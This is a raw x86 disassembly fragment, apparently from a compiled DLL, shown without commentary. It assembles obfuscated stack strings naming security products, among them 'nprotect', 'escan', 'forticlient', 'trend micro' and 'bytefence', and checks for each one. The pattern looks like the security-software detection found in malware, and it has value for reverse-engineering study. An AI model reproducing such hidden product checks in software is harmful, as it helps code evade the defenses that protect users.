mov ecx, esp
mov dword [ebp - 0x5bc], esp
lea eax, [ebp - 0x1a0]
push eax
call fcn.10001720
mov dword [ebp - 0x720], eax
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x5ec]
call fcn.100064e0
mov byte [ebp - 0x2c8], 0
xor ecx, ecx
mov dword [ebp - 0x2c7], ecx
mov dword [ebp - 0x2c3], ecx
mov byte [ebp - 0x2bf], cl
mov byte [ebp - 0x2c5], 0x6f
mov byte [ebp - 0x2c7], 0x70
mov byte [ebp - 0x2c1], 0x74
mov byte [ebp - 0x2c6], 0x72
mov byte [ebp - 0x2c2], 0x63
mov byte [ebp - 0x2c3], 0x65
mov byte [ebp - 0x2c4], 0x74
mov byte [ebp - 0x2c8], 0x6e
push 0
lea edx, [ebp - 0x2c8]
push edx
lea ecx, [ebp - 0x14c]
call fcn.10008070
mov dword [ebp - 0x494], eax
cmp dword [ebp - 0x494], 0
jne 0x10007be5
mov eax, dword [ebp - 0x150]
push eax
mov ecx, dword [ebp - 0x5ec]
mov ecx, dword [ecx + 0x3c]
add ecx, 0x1c
call fcn.10005cc0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x5c0], esp
push eax
call fcn.10002600
mov dword [ebp - 0x724], eax
mov edx, dword [ebp - 0x724]
mov dword [ebp - 0x728], edx
mov byte [ebp - 4], 0x20
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x5c4], esp
lea eax, [ebp - 0x2c8]
push eax
call fcn.10001720
mov dword [ebp - 0x72c], eax
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x5ec]
call fcn.100064e0
mov byte [ebp - 0x2d4], 0
xor ecx, ecx
mov dword [ebp - 0x2d3], ecx
mov dword [ebp - 0x2cf], ecx
mov byte [ebp - 0x2cb], cl
mov byte [ebp - 0x2d0], 0x6e
mov byte [ebp - 0x2d1], 0x61
mov byte [ebp - 0x2d2], 0x63
mov byte [ebp - 0x2d3], 0x73
mov byte [ebp - 0x2d4], 0x65
push 0
lea edx, [ebp - 0x2d4]
push edx
lea ecx, [ebp - 0x14c]
call fcn.10008070
mov dword [ebp - 0x494], eax
cmp dword [ebp - 0x494], 0
jne 0x10007cb1
mov eax, dword [ebp - 0x150]
push eax
mov ecx, dword [ebp - 0x5ec]
mov ecx, dword [ecx + 0x3c]
add ecx, 0x1c
call fcn.10005cc0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x5c8], esp
push eax
call fcn.10002600
mov dword [ebp - 0x730], eax
mov edx, dword [ebp - 0x730]
mov dword [ebp - 0x734], edx
mov byte [ebp - 4], 0x21
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x5cc], esp
lea eax, [ebp - 0x2d4]
push eax
call fcn.10001720
mov dword [ebp - 0x738], eax
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x5ec]
call fcn.100064e0
mov byte [ebp - 0x2b0], 0
xor ecx, ecx
mov dword [ebp - 0x2af], ecx
mov dword [ebp - 0x2ab], ecx
mov word [ebp - 0x2a7], cx
mov byte [ebp - 0x2a5], cl
mov byte [ebp - 0x2aa], 0x6c
mov byte [ebp - 0x2ad], 0x74
mov byte [ebp - 0x2ae], 0x72
mov byte [ebp - 0x2ac], 0x69
mov byte [ebp - 0x2a7], 0x6e
mov byte [ebp - 0x2b0], 0x66
mov byte [ebp - 0x2ab], 0x63
mov byte [ebp - 0x2af], 0x6f
mov byte [ebp - 0x2a6], 0x74
mov byte [ebp - 0x2a9], 0x69
mov byte [ebp - 0x2a8], 0x65
push 0
lea edx, [ebp - 0x2b0]
push edx
lea ecx, [ebp - 0x14c]
call fcn.10008070
mov dword [ebp - 0x494], eax
cmp dword [ebp - 0x494], 0
jne 0x10007dae
mov eax, dword [ebp - 0x150]
push eax
mov ecx, dword [ebp - 0x5ec]
mov ecx, dword [ecx + 0x3c]
add ecx, 0x1c
call fcn.10005cc0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x5d0], esp
push eax
call fcn.10002600
mov dword [ebp - 0x73c], eax
mov edx, dword [ebp - 0x73c]
mov dword [ebp - 0x740], edx
mov byte [ebp - 4], 0x22
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x5d4], esp
lea eax, [ebp - 0x2b0]
push eax
call fcn.10001720
mov dword [ebp - 0x744], eax
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x5ec]
call fcn.100064e0
mov byte [ebp - 0x2a4], 0
xor ecx, ecx
mov dword [ebp - 0x2a3], ecx
mov dword [ebp - 0x29f], ecx
mov dword [ebp - 0x29b], ecx
mov word [ebp - 0x297], cx
mov byte [ebp - 0x490], 0
xor edx, edx
mov dword [ebp - 0x48f], edx
mov dword [ebp - 0x48b], edx
mov word [ebp - 0x487], dx
mov byte [ebp - 0x485], dl
mov byte [ebp - 0x29a], 0x6f
mov byte [ebp - 0x29b], 0x72
mov byte [ebp - 0x29c], 0x63
mov byte [ebp - 0x29d], 0x69
mov byte [ebp - 0x29e], 0x6d
mov byte [ebp - 0x29f], 0x20
mov byte [ebp - 0x2a0], 0x64
mov byte [ebp - 0x2a1], 0x6e
mov byte [ebp - 0x2a2], 0x65
mov byte [ebp - 0x2a3], 0x72
mov byte [ebp - 0x2a4], 0x74
mov byte [ebp - 0x487], 0x6f
mov byte [ebp - 0x488], 0x72
mov byte [ebp - 0x489], 0x63
mov byte [ebp - 0x48a], 0x69
mov byte [ebp - 0x48b], 0x6d
mov byte [ebp - 0x48c], 0x64
mov byte [ebp - 0x48d], 0x6e
mov byte [ebp - 0x48e], 0x65
mov byte [ebp - 0x48f], 0x72
mov byte [ebp - 0x490], 0x74
push 0
lea eax, [ebp - 0x2a4]
push eax
lea ecx, [ebp - 0x14c]
call fcn.10008070
mov dword [ebp - 0x494], eax
cmp dword [ebp - 0x494], 0
jne 0x10007f13
mov ecx, dword [ebp - 0x150]
push ecx
mov edx, dword [ebp - 0x5ec]
mov ecx, dword [edx + 0x3c]
add ecx, 0x1c
call fcn.10005cc0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x5d8], esp
push eax
call fcn.10002600
mov dword [ebp - 0x748], eax
mov eax, dword [ebp - 0x748]
mov dword [ebp - 0x74c], eax
mov byte [ebp - 4], 0x23
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x5dc], esp
lea edx, [ebp - 0x490]
push edx
call fcn.10001720
mov dword [ebp - 0x750], eax
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x5ec]
call fcn.100064e0
mov byte [ebp - 0x15c], 0
xor eax, eax
mov dword [ebp - 0x15b], eax
mov dword [ebp - 0x157], eax
mov byte [ebp - 0x153], al
mov byte [ebp - 0x15c], 0x62
mov byte [ebp - 0x157], 0x65
mov byte [ebp - 0x15a], 0x74
mov byte [ebp - 0x155], 0x63
mov byte [ebp - 0x158], 0x66
mov byte [ebp - 0x159], 0x65
mov byte [ebp - 0x156], 0x6e
mov byte [ebp - 0x154], 0x65
mov byte [ebp - 0x15b], 0x79
push 0
lea ecx, [ebp - 0x15c]
push ecx
lea ecx, [ebp - 0x14c]
call fcn.10008070
mov dword [ebp - 0x494], eax
cmp dword [ebp - 0x494], 0
jne 0x10007ffb
mov edx, dword [ebp - 0x150]
push edx
mov eax, dword [ebp - 0x5ec]
mov ecx, dword [eax + 0x3c]
add ecx, 0x1c
call fcn.10005cc0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x5e0], esp
push eax
call fcn.10002600
mov dword [ebp - 0x754], eax
mov ecx, dword [ebp - 0x754]
mov dword [ebp - 0x758], ecx
mov byte [ebp - 4], 0x24
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x5e4], esp
lea edx, [ebp - 0x15c]
push edx
call fcn.10001720
mov dword [ebp - 0x75c], eax
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x5ec]
call fcn.100064e0
jmp 0x1000677d
mov byte [ebp - 0x5e5], 1
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x14c]
call fcn.10001760
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x114]
call fcn.10008300
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x130]
call fcn.10001760
mov al, byte [ebp - 0x5e5]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100095d3
mov esp, ebp
pop ebp
ret 4